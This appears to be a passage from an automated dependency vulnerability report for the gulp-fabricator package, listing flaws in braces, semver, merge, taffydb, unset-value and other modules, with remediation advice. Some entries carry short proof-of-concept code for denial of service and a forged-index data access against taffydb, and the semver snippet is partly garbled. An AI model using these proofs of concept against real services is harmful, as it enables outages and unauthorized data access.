  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › braces@2.3.2

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

high severity

Infinite loop

  • Vulnerable module: markdown-it
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › jsdoc@3.6.11 › markdown-it@12.3.2

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Infinite loop in linkify inline rule when using malformed input.

Remediation

Upgrade markdown-it to version 13.0.2 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: merge
  • Introduced through: gulp-sass-lint@1.4.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › merge@1.2.1

Overview

merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.

Affected versions of this package are vulnerable to Prototype Pollution. The 'merge' function already checks for 'proto' keys in an object to prevent prototype pollution, but does not check for 'constructor' or 'prototype' keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade merge to version 2.1.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver
  • Introduced through: gulp-nodemon@2.5.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › nodemon@2.0.22 › simple-update-notifier@1.1.0 › semver@7.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › semver@5.3.0
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC


const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

high severity

Internal Property Tampering

  • Vulnerable module: taffydb
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › jsdoc@3.6.11 › taffydb@2.6.2

Overview

taffydb is an open source JavaScript library that provides in-memory database capabilities

Affected versions of this package are vulnerable to Internal Property Tampering. taffy sets an internal index for each data item in its DB. However, it is found that the internal index can be forged by adding additional properties into user-input. If an index is found in the query, taffyDB will ignore other query conditions and directly return the indexed data item. Moreover, the internal index is in an easily-guessable format (e.g. T000002R000001). As such, attackers can use this vulnerability to access any data items in the DB and exploit an SQL Injection.

Note: The taffy package has been deprecated by the author. Its successor package, taffydb, is also found to be vulnerable and is not actively maintained.

PoC

var TAFFY = require('taffy');
var friends = TAFFY([
        {"id":1,"gender":"M","username":"Smith","password":"aaa","status":"Active"},
        {"id":2,"gender":"F","username":"Ruth","password":"bbb","status":"Active"},
        {"id":3,"gender":"M","username":"Stevenson","password":"ccc","status":"Active"},
        {"id":4,"gender":"F","username":"Gill","password":"ddd","status":"Active"}
]);

var json = {username:"Smith", "password":"123", "___id":"T000002R000002", "___s":true};
var item1 = friends(json);
console.log(item1.first());

Remediation

There is no fixed version for taffydb.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: trim-newlines
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › meow@3.7.0 › trim-newlines@1.0.0
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

trim-newlines is a Trim newlines from the start and/or end of a string

Affected versions of this package are vulnerable to Denial of Service (DoS) via the end() method.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade trim-newlines to version 3.0.1, 4.0.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: unset-value
  • Introduced through: gulp@4.0.2, gulp-nodemon@2.5.0 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
